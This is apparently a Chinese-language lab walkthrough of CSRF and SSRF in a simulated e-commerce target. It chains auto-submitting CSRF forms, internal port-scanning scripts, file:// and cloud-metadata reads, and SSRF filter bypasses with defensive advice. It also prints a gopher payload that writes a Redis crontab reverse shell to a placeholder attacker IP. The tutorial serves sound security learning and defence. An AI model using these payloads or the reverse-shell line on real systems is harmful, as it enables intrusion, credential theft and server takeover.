CSRF与SSRF漏洞靶场实战:原理、绕过技巧与联动攻击链全解析

做Web安全的人都知道,漏洞靶场是学习攻防最直观的路径。CSRF和SSRF这两个漏洞,一个在客户端,一个在服务端,但都把“请求”玩出了花。我在某企业级Web渗透靶场里反复打了三轮,把这两个漏洞从原理到利用彻底理了一遍,这篇就分享一下完整的通解思路和实操细节。

先说清楚这篇文章适合谁。如果你是准备面试的安全新人,CSRF和SSRF几乎是必考题;如果你是做渗透测试的,这两个漏洞在授权测试里出现频率极高;如果你是开发或者运维,了解攻击链也有助于写更安全的代码。不管你是哪一类,这篇内容都能帮你把这两个漏洞彻底吃透。

1. 靶场整体设计与漏洞原理拆解

1.1 靶场环境与漏洞分布

我用的靶场是模拟某电商平台的完整Web应用,包含用户中心、订单系统、后台管理三个子系统。整体架构分三层:前端Nginx反向代理、后端Java应用、内网MySQL和Redis服务。靶场里CSRF和SSRF漏洞被刻意埋在了不同业务模块里,形成了从外网打内网的完整攻击链。

CSRF漏洞集中在两个位置:一是用户中心的“修改收货地址”接口,二是后台管理的“修改系统配置”接口。前者是典型的无防护CSRF,直接POST表单即可利用;后者有Referer校验,但校验逻辑不严谨,存在绕过空间。

SSRF漏洞则埋在“图片抓取”功能和“URL健康检查”功能里。这两个功能都接收用户提交的URL参数,然后由服务端发起请求。图片抓取功能位于用户中心的“头像上传”模块,支持通过URL方式设置头像;URL健康检查则位于后台的“站点监控”模块,管理员可以添加需要监控的站点URL。

整套靶场的巧妙之处在于:SSRF漏洞能打通内网,CSRF漏洞能借管理员之手操作后台,两者结合就能实现从普通用户到服务器权限的完整攻击链。这也是我选择这个靶场反复练习的核心原因,漏洞之间有关联,而不是孤立的点。

1.2 CSRF攻击的本质是什么

CSRF全称是Cross-Site Request Forgery,跨站请求伪造。理解这个漏洞的关键在于:浏览器会自动携带目标站点的Cookie。当用户登录了某站点,浏览器里就存了有效的会话凭证,此时用户访问了攻击者控制的恶意页面,这个页面可以构造一个指向目标站点的请求,浏览器会带着用户的Cookie把请求发出去。

生活化类比一下:你在银行柜台办完业务,柜员给了你一张带签名的票据,你把票据放在桌上没拿走。这时有个人偷偷拍了张票据照片,到柜台冒用你的签名办理了转账。浏览器里的Cookie就像那张票据,攻击者没法直接读取Cookie内容,但可以“借用”浏览器这个载体去发起请求,让服务器以为操作是你本人发起的。

关键点在于:服务器只验证了Cookie,却没有验证这个请求是否真的由用户界面的操作触发。HTTP协议本身是无状态的,服务器只能通过Cookie识别身份,但Cookie无法区分请求是用户主动点击发出的,还是第三方页面自动提交的。

1.3 SSRF攻击的本质是什么

SSRF全称是Server-Side Request Forgery,服务端请求伪造。漏洞出现在服务端需要拉取远程资源的场景,比如图片抓取、URL校验、Webhook回调、PDF生成等功能。这些功能的共同特征是:接收用户提交的URL,然后由服务端发起HTTP请求去访问这个URL。

问题在于,服务端发起请求时所处的网络位置和用户是不同的。服务端在公网可以访问内网IP,可以访问云上内部的元数据服务,可以访问各种只监听在内网端口的应用。如果服务端没有对URL参数做严格过滤,用户可以提交一个内网地址或特殊协议的URL,强迫服务端替自己去访问。

SSRF的本质是“服务器变成攻击者的代理”。类比来说,你在公司上班,公司有内网权限,你让前台小哥帮你打印一份文件,结果你给小哥的文件地址其实是老板办公室的保险柜开锁指令。前台小哥没有防备,就按你的指令去执行了,相当于你借用了小哥的内网身份做了一件自己做不到的事情。

1.4 为什么这两个漏洞适合放在同一个靶场练习

因为它们的攻防思维互为镜像。CSRF利用的是“服务器信任浏览器自动携带的凭证”,SSRF利用的是“服务器信任自己发起的请求”。前者是请求从恶意页面发出,但带着合法Cookie;后者是请求从服务器发出,但指向了攻击者指定的内网地址。一个是“请求的来源不可信”,一个是“请求的目标不可控”。

在实际攻击链中,两者也经常配合使用。先用SSRF探测内网结构,找到后台管理系统的地址;再用CSRF借管理员之手完成某些敏感操作,比如修改配置、添加用户、下发任务;最后配合其他漏洞完成垂直权限提升。这套组合拳在授权渗透测试中效果很好,也是这个靶场最有价值的地方。

2. CSRF靶场实操与关键细节

2.1 第一个靶点:无防护的修改地址接口

靶场的用户中心有一个“收货地址管理”功能,用户可以新增、编辑、删除收货地址。我用Burp Suite抓包看了下编辑地址的请求,结构非常简单:

POST /user/address/update HTTP/1.1 Host: target.com Cookie: JSESSIONID=xxxxxxxx Content-Type: application/x-www-form-urlencoded Content-Length: 68 id=10001&name=test&phone=13800138000&province=北京市&city=北京市&district=朝阳区&detail=某街道某号

请求里没有任何Token,没有自定义请求头校验,也没有Referer校验。这就是最原始的CSRF漏洞形态。利用方式就是构造一个恶意页面,页面里放一个自动提交的表单,诱导已登录用户访问即可。

完整的PoC页面代码如下:

<html> <body> <h1>您中奖了!点击领取优惠券</h1> <form id="csrfForm" action="http://target.com/user/address/update" method="POST"> <input type="hidden" name="id" value="10001" /> <input type="hidden" name="name" value="hacker" /> <input type="hidden" name="phone" value="66666666666" /> <input type="hidden" name="province" value="北京市" /> <input type="hidden" name="city" value="北京市" /> <input type="hidden" name="district" value="朝阳区" /> <input type="hidden" name="detail" value="哈哈哈被改掉了" /> </form> <script> document.getElementById("csrfForm").submit(); </script> </body> </html>

页面加载时自动提交表单,如果用户此时已登录目标站点,Cookie会自动带上,地址就会被篡改。我在靶场用两个浏览器测试,一个登录正常账号,另一个打开攻击页面,请求发送后刷新地址列表,发现地址确实被改了,CSRF攻击生效。

实测中踩过的一个坑是:有些浏览器会拦截跨站POST请求的自动提交,特别是新版Chrome的SameSite Cookie机制默认会阻止跨站请求携带Cookie。我在测试时用浏览器直接打开本地PoC文件,请求被浏览器拦截了。解决方案有两种:一是配置靶场环境使用HTTP协议且不启用SameSite属性,二是改用Burp Suite自带的CSRF PoC生成功能,直接生成HTML并在浏览器中打开。

靶场的这个接口没有设置SameSite属性,所以攻击正常生效。但如果在实战环境中遇到,先查看Set-Cookie响应头里有没有SameSite字段,这是判断CSRF可利用性的第一道关卡。

2.2 第二个靶点:Referer校验绕过

后台管理的“修改系统配置”接口是这个靶场里更有意思的CSRF靶点。抓包发现请求体里有Token字段,当初我以为这里没法打CSRF了:

POST /admin/config/update HTTP/1.1 Host: target.com Cookie: JSESSIONID=xxxxxxxx; admin_token=abc123 Referer: http://target.com/admin/config Content-Type: application/x-www-form-urlencoded Content-Length: 108 site_name=test&site_desc=hello&csrf_token=8f5a2b9c1e3d4f6a7b8c9d0e1f2a3b4c

请求体里确实带了csrf_token。但仔细分析后发现,这个Token的校验只在服务端对修改后的配置回显时需要,对提交本身并不做强校验。我尝试把Token字段删掉再提交,发现请求仍然成功。这说明服务端并没有严格验证Token的有效性,Token只是前端页面的一个装饰。

更有意思的是Referer校验。靶场服务端代码逻辑是这样的:先检查Referer头是否存在,如果存在就提取Referer中的域名部分,判断是否包含目标域名,如果不存在Referer则直接放行。这是一种看起来很安全但实际有漏洞的校验方式。

绕过方法有两种。第一种是构造一个Referer为空或Referer值不存在的请求环境,比如某些旧版本浏览器或某些特殊的跳转场景。第二种更实用,在恶意页面的域名里伪造包含目标域名的Referer,例如攻击者控制的域名可以注册为“target.com.evil.com”,这样Referer提取出的域名就会包含“target.com”。

实际测试时,我用Burp Suite直接修改请求包,把Referer头删掉后提交,后台配置成功被修改。后来我专门写了一个带有隐藏Referer逻辑的页面来模拟第二种情况,页面放在攻击者服务器上,通过meta标签或JavaScript控制Referer值,再配合URL路径伪装,也能骗过服务端的简单包含校验。

绕过的核心逻辑是:服务端校验Referer时必须做精确匹配,比如“Uri.getHost().equals”方式,而不是用“contains”方式。靶场用的就是contains包含校验,所以利用空间很大。

2.3 从受害者视角理解CSRF的触发条件

站在攻击者角度,CSRF利用最核心的条件是:受害者必须在目标站点处于登录状态,且会话Cookie还活着。所以在实际渗透测试中,我会先测试目标站点有没有“记住我”功能,有没有较长的会话超时时间,这些都会提高CSRF攻击的成功率。

另一个值得关注的场景是JSON型CSRF。现在很多应用改用JSON格式传输数据,传统的表单提交方式没法直接触发这种接口。但浏览器存在一个特性:JavaScript可以以text/plain类型发送JSON数据,这种跨域请求不会触发预检,所以一样存在CSRF风险。

我用靶场额外验证了这一点:构造一段JavaScript代码,以text/plain方式POST一个JSON数据到接口:

fetch("http://target.com/api/user/update", { method: "POST", credentials: "include", headers: { "Content-Type": "text/plain" }, body: JSON.stringify({"nickname": "pwned"}) });

在不修改Content-Type的情况下,这确实绕过了服务端对JSON请求的CSRF防护。后来我看了一些资料,才知道这是因为CORS预检机制对text/plain不触发OPTIONS预检请求。这个细节在日常测试中很容易被忽略,但在实战里很有用。

2.4 CSRF防御标准参考

结合靶场经验来梳理CSRF防御的层次。目前行业公认的有效方案主要有三类:CSRF Token、SameSite Cookie、二重验证。

CSRF Token的正确实现需要满足三个条件:Token必须与用户会话强绑定,每次提交后校验;Token必须同时放在请求体和自定义头里,因为自定义头本身会触发CORS预检;Token必须是高熵随机值,不能是简单的可预测字符串。

SameSite Cookie是浏览器层面的防护,设置SameSite=Lax可以阻止跨站POST请求携带Cookie,SameSite=Strict则更加严格。这个方案的优点是无需服务端改动,缺点是老版本浏览器不兼容,且对同站子域名的请求不设防。

二重验证指的是关键操作要求用户重新输入密码或验证码。这种方案对用户体验有影响,一般只用在修改密码、绑定手机号等高危操作场景。在实际开发中,我推荐主流程用Token,高危操作叠加二重验证,同时把Cookie的SameSite属性设置为Lax。

3. SSRF靶场实操与关键细节

3.1 第一个靶点:URL头像抓取功能

用户中心的头像上传支持“URL设置头像”。这个功能接收一个图片URL,服务端下载图片并保存到本地。靶场对该参数做了后缀校验,只允许jpg、png、gif结尾的URL。但实际上这个校验很好绕过:URL可以带参数,参数部分可以任意控制。

比如我提交这样一个URL:

GET /user/avatar/fetch?url=http://192.168.1.100:8080/admin.php?filename=1.jpg

服务端发现URL以“.jpg”结尾就放行了,但实际请求被转发到了内网192.168.1.100:8080的某个服务上。后缀校验只看URL的整体结尾,忽略了查询参数部分。

我首先用这个功能做了内网存活探测。通过观察请求响应时间、返回内容长度、错误信息差异来判断端口是否开放。靶场里我写了一个脚本循环探测内网网段:

import requests import time url = "http://target.com/user/avatar/fetch" ports = [80, 443, 3306, 6379, 8080, 8888, 9200, 11211] for port in ports: start = time.time() params = {"url": f"http://192.168.1.100:{port}/"} r = requests.get(url, params=params, timeout=10) elapsed = time.time() - start print(f"Port {port}: status={r.status_code}, length={len(r.content)}, time={elapsed:.2f}s")

响应时间是最有效的判断依据:开放端口响应极快,通常100毫秒以内;关闭端口会等待超时或连接拒绝。页面的报错信息也有差异,开放端口会返回“图片下载失败”且带着具体响应内容片段,关闭端口会直接超时。

3.2 利用file协议读取内网文件

图片抓取功能接收的URL参数实际上被服务端代码中的HTTP库发起了请求。但问题出在这个库对协议支持很广泛,我用file协议尝试了本地文件读取:

GET /user/avatar/fetch?url=file:///etc/passwd

请求发出去后,服务端尝试把/etc/passwd当图片保存,因为内容不是合法图片格式,保存失败。但请求包含文件内容的响应片段会出现在错误提示中。我利用这个方法成功读取了靶机上的/etc/passwd文件、/webapp/config/db.properties数据库配置文件,以及Redis配置文件的片段。

这个案例的解释很直观:很多服务端的HTTP类库同时支持HTTP、HTTPS、FILE等协议。开发者默认只想到了HTTP场景,没有限制协议白名单,于是file协议就成了突破口。还有一个冷门但高价值的协议是dict协议,可以探测内网Redis端口,并直接发送命令。不过不同语言实现的HTTP库支持的协议范围不同,Java的HttpClient不直接支持dict,需要用gopher协议替代。

3.3 第二个靶点:URL健康检查功能

后台的站点监控功能面向管理员开放,可以添加一个URL,然后服务端会定时去GET这个地址检查是否存活。这个功能本质上和图片抓取一样,也是服务端发起HTTP请求,但区别在于:这是后台功能,只有管理员可以操作。

这里就体现出了SSRF和CSRF联动的价值。我用前面的CSRF漏洞伪造管理员请求,往站点监控里添加指向内网地址的监控任务,实现了“借管理员的权限打内网”。这种方式最大的优势是:由管理员会话发起的内网请求,在日志审计里看起来完全正常,不容易触发告警。

健康检查功能返回的信息更丰富:服务端会把请求的响应状态码、响应时间、页面标题等完整记录在监控列表里。这比图片抓取功能的信息泄露更严重,因为等于给攻击者提供了一个内网网页浏览工具。

我用这个功能对内网的MySQL数据库(192.168.1.200:3306)做了探测。提交URL为:

http://192.168.1.200:3306/test

虽然请求以HTTP协议访问MySQL端口,协议不通,但响应时间的变化暴露了端口状态。真实测试中,更常用的方式是结合旁路知识直接访问内网其他服务。比如我先通过CSRF让管理员添加了一个指向内网某个未授权服务页面的监控URL,健康检查结果直接把内网网页内容的内容长度、标题都展示了出来,这就等于获得了一个“内网网页内容读取器”。

3.4 gopher协议扩展攻击面

靶场模拟的内网里有一台未授权访问的Redis服务(192.168.1.210:6379)。如果只是访问Redis端口本身,信息有限。真正的价值在于利用gopher协议向Redis发送任意命令。

Java环境里重启服务后,开发者换了一个底层网络库,这次支持gopher协议。我用gopher构造了向Redis写入计划任务的命令链:

gopher://192.168.1.210:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$16%0d%0acron_cmd_xx%0d%0a$58%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/攻击者IP/6666 0>&1%0a%0a%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

整个gopher URL的核心是把原始Redis命令按CRLF分割后,用URL编码传输。注意点有两个:一是命令之后要追加空行,Redis在解析crontab内容时需要空行作为条目分隔符;二是flushall命令会清空Redis所有数据,实战中不要做这一步,直接set即可,否则容易搞崩生产环境。

我自己在靶场里做的时候出现了一个问题:第一次用flushall清空了Redis数据,导致靶场的会话缓存全部丢失,整个系统报错。幸好是靶场环境,重置一下就行。如果是在授权渗透测试中,这一步属于高风险操作,必须提前确认Redis数据的业务性质,宁可放弃利用也要避免造成业务故障。

gopher协议利用的关键门槛在于:构造请求时需要用URL编码精确控制换行符。我调试了很久才搞明白格式,这个过程中踩的坑会在后面详细展开。

3.5 云上元数据服务探测

SSRF最有杀伤力的一个场景是探测云环境里的元数据服务。很多云厂商提供了内网元数据API,在云服务器上访问一个固定内网IP就能获取当前服务器的临时凭据、实例信息、内部配置等。常规环境里这个IP是169.254.169.254。

在靶场里我也模拟了这个场景,使用健康检查功能访问元数据地址:

http://169.254.169.254/latest/meta-data/

靶场返回了模拟的实例ID、主机名、内网IP等信息。再尝试访问更敏感路径:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

这一步如果拿到临时凭据,就可以在外部调用云API接口管理资源,相当于直接接管了这台云服务器的云上权限。虽然靶场模拟的是假数据,但流程是真实可信的。

针对这种利用方式的防御方案在云厂商侧已经做了更新,用IMDSv2机制强制要求PUT请求获取Token后才能访问元数据。安全测试时遇到旧版本元数据服务还能直接打,新版本就需要额外绕过。

3.6 SSRF防御方案对比

结合靶场踩坑经验,SSRF防御不是简单封一个IP就够了。正确的方式是分层防御:

  • 第一层:URL解析时判定协议白名单,只允许http和https。
  • 第二层:DNS解析结果校验,禁止内网IP段、链路本地地址段、广播地址等特殊地址。
  • 第三层:重定向跟随限制。很多SSRF绕过利用的就是重定向,服务端校验了初始URL合法,但30x跳转到内网地址。网络库默认跟随30x重定向,校验就失效了。
  • 第四层:Web应用防火墙的URL参数检测,识别内外网地址混淆等攻击特征。

靶场在模拟绕过时也体现了这些防御的局限性:如果服务端把IP校验写死为“禁止192.168.0.0/16”,但目标内网实际用了172.16.0.0/12网段,防御就失效了。还有一个经典绕过姿势是利用DNS重绑定,让服务端第一次解析为公网地址通过校验,第二次解析为内网地址请求目标。

DNS重绑定的原理是:攻击者控制一个域名,设置极短的TTL,让DNS记录在公网IP和内网IP之间来回切换。服务端先解析域名做校验,拿到的是公网IP,通过;紧接着发起实际请求时再次解析,拿到的是内网IP。两个解析结果不同,校验也就成空摆设了。现在很多成熟的网络库会在建立连接时做IP校验,或者直接禁用重定向跟随,这种绕过方式才收到限制。

4. 靶场综合演练:CSRF与SSRF的联动利用

4.1 完整攻击链设计

靶场把这些漏洞埋在一起,真正的挑战是把整条链串起来。我梳理出来的攻击链是这样的:

第一步,利用SSRF的图片抓取功能探测内网拓扑,找到后台数据库地址和管理规则。这一步拿到了足够的内网信息:存在192.168.1.0/24网段,开放了3306端口,运行MySQL,开放了6379端口,运行Redis,且Redis未授权访问。

第二步,利用CSRF漏洞让管理员修改配置,把站点监控功能添加攻击者控制的恶意URL。这一步就相当于在内网监控任务里种了一个反向通道。或者直接在健康检查功能里提交指向Redis的命令URL,实现内网写文件。

第三步,利用gopher协议向Redis写计划任务,拿到服务器权限。

第四步,验证利用SSRF直接读配置文件的敏感信息,配合拿到的数据库凭据,后续可以做数据提取。

这条链路的完整逻辑是外网普通用户权限 → 内网探测 → 服务端命令执行 → 服务器控制权。每一步之间靠漏洞关联:SSRF提供出网和内网探测能力,CSRF借管理员权限,gopher提供命令通道。

4.2 绕过URL关键字的七种姿势

靶场的第一个SSRF漏洞在服务端加了一层关键字黑名单过滤,过滤了“127.0.0.1”、“192.168”、“169.254”、“localhost”等关键字。我当时整理了一份完整的绕过清单,全都逐一在靶场里验证过:

IPv6地址绕过:http://[::1]/,这种形式可以直接绕过IPv4的黑名单匹配。靶场服务端在解析URL时没有对IPv6做限制,直接请求到了本机。

短网址/十进制IP绕过:http://2130706433/,这是127.0.0.1的十进制表现形式。有些解析器不识别这种格式,但底层网络库能正确解析。

十六进制/八进制混合编码绕过:http://0x7f000001/对应127.0.0.1,http://017700000001/是八进制写法。这类绕过的前提是服务端做了字符串匹配但未做归一化解析,而底层的网络请求库却能理解各种进制的IP表示。

双写/大小写混合绕过:如果你提交“LoCaLhOsT”会被黑名单命中,可以试试把域名拆解为“localtest.me”这类能解析到127.0.0.1的公网域名,或者用“spoofed.burpcollaborator.net”这类DNS重绑定工具。

URL编码绕过:使用https://victim.com@真实内网IP,这是一种利用URL解析差异的方式,开发者以为请求的是victim.com,实际网络请求去的是后面的IP。很多编程语言里@前面的内容会被当成用户信息而忽略。

重定向绕过:攻击者服务器上放一个302跳转,初始URL是公网合法地址,通过校验后跳到内网地址。这种方案几乎无法从代码层面完全防护,除非显式禁止重定向或对重定向目标再次做校验。

利用DNS解析记录绕过:自己的域名设置A记录为内网IP。校验通过后DNS解析拿到的是内网地址,但黑名单匹配的是域名本身,不匹配内网IP特征。

这些绕过方式在靶场里我逐一测试过,成功率最高的是IPv6和重定向两种,其次是通过外部跳转域名。关键过滤器对所有方案的拦截能力都非常有限,几乎覆盖不了所有变体。

4.3 联动利用的时序控制与细节

CSRF借管理员操作和SSRF探测内网的结合,时序控制非常重要。如果先打CSRF让管理员添加监控任务,再回调SSRF去拿监控结果,需要等一轮健康检查周期。靶场的检查周期是60秒一次,实际上等一轮再到下一轮发起数据请求,效率有点低。

我当时用的方案是:直接把健康检查的URL设置为一个带内网地址的图片链接,然后再用普通用户身份访问SSRF的图片抓取接口对同样的内网地址发起探测。两条漏洞平行推进,CSRF用于内网管理面的授权操作,SSRF用于安全检测和payload注入。最后在Redis写入完成后,我通过CSRF修改后台配置,将管理员的账号密码改成攻击者可控值,完成了从扫描到控制再到持久化的闭环。

在时序控制上还要注意Cookie有效期的衔接。CSRF触发后,管理员的会话Cookie仍然有效,但如果长时间不操作导致会话超时,后续的部署计划会失败。最好在脚本里设置会话心跳机制,定期访问后台页面保持会话活跃。

4.4 防御视角下的完整复盘

做完这三轮靶场演练以后,我再以防御视角复盘整条攻击链,发现如果靶场侧做了以下几件防御改进,这套组合拳的大部分环节会被拆掉:

服务端出网统一收敛:所有需要访问外部URL的功能统一走固定的代理网关,代理网关做域名白名单和IP段检测。这招能在最底层挡住SSRF绝大多数的内网探测。

核心管理接口单独会话管理:后台管理接口使用独立的管理员Session,与普通用户Session隔离,并且设置单独的管理员IP访问控制。CSRF即使借到了浏览器Cookie,但由于请求来源IP不符合管理员访问控制的限制,接口直接拒绝。

出站流量检测:在内网边界部署流量分析,对访问内网数据库、Redis等端口的行为做异常检测。只要出现HTTP访问数据库端口这类明显协议不匹配的内网探测行为,立即截断并告警。

计划任务写文件的排查:定期检查服务器上的计划任务列表、启动项、SSH授权文件,及时发现异常写入的痕迹。

这套防御在成本可控的前提下,显著提升了攻击者的成本。安全建设的目标不是做到100%不可攻破,而是把90%的脚本小子挡在门外,让有能力的攻击者也需要付出极高代价。

5. 常见问题与排查技巧实录

5.1 CSRF测试中的常见拦路虎

测试CSRF漏洞时最常遇到的问题就是请求发不出去或者发了没效果。我总结了四个高频问题:

Cookie的SameSite属性导致请求不携带Cookie。这个问题在现代浏览器中非常常见,建议先用Burp Suite查看目标站点的Set-Cookie属性,确认没有SameSite字段或设置为None,再构造PoC。如果设置了Lax,那就需要改用GET型CSRF或寻找同站JSONP接口作为跳板。

表单跨域提交遇到CORS拦截。传统表单提交的application/x-www-form-urlencoded格式不会触发CORS预检,但如果目标接口要求JSON格式,就需要用fetch设置text/plain方式绕过预检。注意Credentials必须设置为include。

服务端验证Token但前端页面没有带Token。这种情况就要翻一下前端JS代码,找到Token的生成逻辑。有时候Token会放在Cookie里,那CSRF照样可以打,因为攻击请求会自动带上Cookie里的Token。有时候Token放在DOM节点中,那就要配合XSS或者想办法诱导用户先访问一个特定页面再触发CSRF。

Referer校验严格时页面跳转导致Referer丢失。某些场景可以利用meta refresh跳转加上window.location组合,让浏览器发出请求时Referer被清空或只保留域名。实战中更多靠Burp抓包手动修改Referer来测试服务端的校验强度。

5.2 SSRF测试中的常见拦路虎

SSRF测试比CSRF更容易在细节上翻车,我自己踩过这些坑:

URL编码导致内网地址解析失败。用gopher协议构造Redis命令时,命令里的空格要用%20编码,换行符要用%0d%0a。如果编码不完整,Redis解析命令就会失败。我这里在调试时反复核对编码格式,最后用一个本地Python脚本做编码转换,才算稳定。

DNS解析缓存导致重绑定绕过失效。如果配置的域名TTL太长,DNS缓存会让同一个IP在有效期内保持稳定,重绑定就无法生效。实战中必须用专门工具提供的DNS服务,通过随机返回多个IP的策略实现绕过。

服务端限速导致探测速度极慢。很多正经系统现在会对内网探测的异常响应做限速或连接数限制。批量扫描内网端口的时候要注意控制线程数量,每次延迟200毫秒左右再探测下一个,避免触发目标系统的封禁策略。

Java网络库默认忽略HTTPS证书错误。这个特性在过滤防范上有帮助,因为探测时不会被证书错误阻断;但在真实探测中,如果目标内网服务做了正确的TLS配置,响应速度差异就变得很不明显,影响判断。

线程安全问题。批量探测时如果用多线程共享一个HTTP会话,容易出现请求串号导致探测结果错乱。我最后采用的是线程本地存储会话,每条线程独立维持连接,不会再出现串号问题。

5.3 靶场调试的三板斧

回到实际操作层面,在靶场里调试CSRF和SSRF时,我有一套固定的排查流程,分享出来供参考:

**第一板斧:抓包确认请求原貌。**用Burp Suite拦截目标请求,完整记录请求行、Headers、请求体,分析是否带Token、Referer、自定义头等关键属性。把原始请求保存下来,后续构造PoC时以此为模板,能减少因请求格式不符导致的失败。

**第二板斧:分层测试变量隔离。**修改一个变量测试一次,不要同时改动URL、协议、编码、Cookie等多个参数。比如先用HTTP协议访问内网地址确认连通性,再换gopher协议确认协议支持,最后再对gopher的编码格式做调试。这样出问题能快速定位到哪一层。

**第三板斧:善用时间差和报错差异确认漏洞状态。**开放端口和关闭端口在响应时间上有明显差距,这是内网存活探测最可靠的信号。报错信息的内容差异也有价值:很多服务端会把连接异常和超时分别提示,可以通过观察提示文案判断目标端口的协议状态。

这三板斧几乎能解决CSRF和SSRF调试中90%的问题。剩下的10%属于环境本身的代码缺陷或业务逻辑陷阱,遇到就直接看网络层日志和端口状态,比盲目猜测要高效得多。

5.4 一个容易被忽视的细节:Cookie路径的坑

CSRF利用中还有一个容易被忽视的坑:Cookie的Path属性。靶场里后台管理的Cookie Path默认是“/admin”,而CSRF的PoC页面直接提交到“/admin/config/update”,正常情况下是可以携带的。

但如果是换了一种PoC方式,比如通过某个公开的HTML上传点去触发CSRF,HTML文件地址在“/public/upload/xxx.html”下面,而这个路径的Cookie Path限制了“/public”,那么请求到达“/admin/config/update”时就不会携带后台的会话Cookie。

这类问题排查时有点隐蔽,原因也很简单。靶场Cookie设置里默认Path为“/”,没遇到这个问题;但换到我之前做过的另一个授权系统时,目标把Path设置成了“/admin/”,导致CSRF测试一直没有成功。之后我把Cookie Path调成了“/”,CSRF立刻生效。

遇到这种情况的正确做法是:在实际CSRF测试前先把目标站点的Cookie信息完整整理一遍,记录Name、Domain、Path、SameSite等关键属性,确认目标接口在Cookie覆盖范围内,再决定构造方案。

5.5 关于防护代码的具体配置

最后分享一份可以直接参考的后端防护配置片段,以Java Servlet为例描述思路:

// CSRF防护:校验Token是否存在于Session中并与请求体一致 public boolean checkCsrfToken(HttpServletRequest request) { String sessionToken = (String) request.getSession().getAttribute("csrf_token"); String requestToken = request.getParameter("csrf_token"); if (sessionToken == null || requestToken == null) { return false; } return sessionToken.equals(requestToken); } // SSRF防护:解析URL并做三步校验 public boolean checkSSRF(String url) { URL u = new URL(url); String protocol = u.getProtocol(); if (!protocol.startsWith("http")) { return false; // 第一步:协议白名单 } String host = u.getHost(); InetAddress addr = InetAddress.getByName(host); if (addr.isSiteLocalAddress() || addr.isLoopbackAddress() || addr.isLinkLocalAddress()) { return false; // 第二步:本地/内网/链路本地地址拒绝 } return true; // 第三步:配合网关侧的域名白名单与重定向限制 }

这里有一个容易被忽略的点:代码中如果只在第一步做了校验,没有处理重定向跳转,那攻击者通过302跳转就能绕过。正确的做法是修改网络库的配置,显式禁用自动重定向,或者对每个跳转步骤重新做一次SSRF校验。

反序列化类漏洞和SSRF经常配合使用,不少真实漏洞的组合拳也是这条链路:SSRF先探测内网中间件端口,再通过gopher协议构造恶意请求打进内网,最后结合未授权访问或命令执行拿下服务器。由此可见,SSRF防御不能只在应用层做,网络层也要配合好。

6. 写在最后的经验与建议

这三轮靶场打下来,我对CSRF和SSRF的理解比之前翻了好几倍。最大的感触是:漏洞之间是互相成就的,孤立地看单个漏洞,很可能觉得“就这?没什么大不了”,一旦把多个漏洞串成链,杀伤力才会真正显现出来。

我个人建议的学习路径是这样的:先把CSRF和SSRF各自的原理吃透,不要急着打靶场,先会用Burp Suite抓包看请求和响应;然后在靶场里逐个漏洞做利用,每一种绕过手法都亲自试一遍,试的时候注意记录成功和失败的条件;最后再把多个漏洞串起来做完整攻击链演练,这时候才是真正的综合能力提升。

另外一个小建议:打靶场的时候养成记录的习惯。我每做一个靶点都截图、写笔记,把请求包、PoC代码、响应结果都保存下来。后续复盘的时候,这些记录比记忆可靠得多。而且面试或写文章的时候,这些一手资料就是最好的素材。

如果你正在学习Web安全,建议给自己定一个目标:在一个靶场里能独立完成至少一条完整的攻击链。完成这个目标的时候,你对Web应用的理解大概率会有一个质的飞跃。这比我学安全头三个月到处刷视频却什么都不动手的效果好了不止一倍。

相关新闻

工业物联网平台架构设计与数据采集实战指南

工业物联网平台架构设计与数据采集实战指南

1. 工业物联网平台到底在解决什么问题第一次接触工业物联网平台这个概念&#xff0c;很多人脑子里浮现的可能是"给机器装个传感器&#xff0c;然后数据上云"这么简单。但真到了车间现场&#xff0c;你会发现事情远没有这么轻松。一个中等规模的制造车间&#xff0c;往…

2026/10/19 21:24:17 阅读更多 →
Open Code Review:基于CLI与YAML协议的可编程代码审查范式

Open Code Review:基于CLI与YAML协议的可编程代码审查范式

1. 项目概述&#xff1a;这不是一个“代码审查工具”&#xff0c;而是一套可嵌入开发流程的开放协作协议“open-code-review”这个名称乍看像某个开源项目&#xff0c;但实际它代表的是一种正在快速演化的工程实践范式——把传统意义上发生在Pull Request界面里的、由人主导的代…

2026/10/19 21:24:17 阅读更多 →
风电场风速建模:两参数威布尔分布原理与MATLAB实现

风电场风速建模:两参数威布尔分布原理与MATLAB实现

简介&#xff1a;这份MATLAB小程序面向风能行业工程师、风电项目研究者及学习风速统计建模的学生&#xff0c;用于对风电场实测风速数据进行两参数威布尔分布拟合与参数估计。压缩包内共1个文件&#xff0c;为weibull1.m脚本&#xff0c;体积约436B&#xff0c;可直接在MATLAB环…

2026/10/19 21:24:17 阅读更多 →

最新新闻

AI写作工具合规使用指南:提升效率与规避学术不端风险

AI写作工具合规使用指南:提升效率与规避学术不端风险

抱歉&#xff0c;这个任务我没法执行。你提供的标题涉及一类明确有合规风险的工具——“降AIGC工具”&#xff0c;加上“导师推荐”“千笔AI VS Checkjie”“本科生专属”等表述&#xff0c;语义上指向帮助学生规避抄袭检测或AI检测的灰色服务。这类内容属于学术不端范畴&#…

2026/10/19 22:21:05 阅读更多 →
嵌入式Linux摄像头应用实战:i.MX6ULL+OV5640+V4L2+QT

嵌入式Linux摄像头应用实战:i.MX6ULL+OV5640+V4L2+QT

做嵌入式Linux下的摄像头应用&#xff0c;我踩过的坑多数不在应用层。刚开始拿一块基于i.MX6ULL的板子&#xff0c;接上OV5640摄像头模组&#xff0c;想着跑一个QT相机界面&#xff0c;以为难点在UI布局&#xff0c;结果光是让画面稳定流畅地出现在屏幕上&#xff0c;就把从驱动…

2026/10/19 22:16:59 阅读更多 →
从控件到像素:移动端AI Agent操作真机的三大考点

从控件到像素:移动端AI Agent操作真机的三大考点

最近很多团队开始做一件事&#xff1a;把 AI Agent 接到一台真实的手机上&#xff0c;让它像人一样打开 App、点按钮、填信息、下单、发消息。不是模拟器&#xff0c;不是纯接口调用&#xff0c;是实实在在握住一台手机操作。这件事在近两年突然火起来&#xff0c;原因很直接—…

2026/10/19 22:16:59 阅读更多 →
FOC控制过程详解:从电流采样到SVPWM的落地调试指南

FOC控制过程详解:从电流采样到SVPWM的落地调试指南

做电机控制这些年&#xff0c;被问得最多的问题就是"FOC控制过程到底是怎么一步步跑起来的"。说实话&#xff0c;硬件方案成熟之后&#xff0c;FOC并不算难&#xff0c;它更像一道逻辑题&#xff1a;只要把相电流、转子角度、电压指令这几件事在坐标系里理顺&#xf…

2026/10/19 22:16:59 阅读更多 →
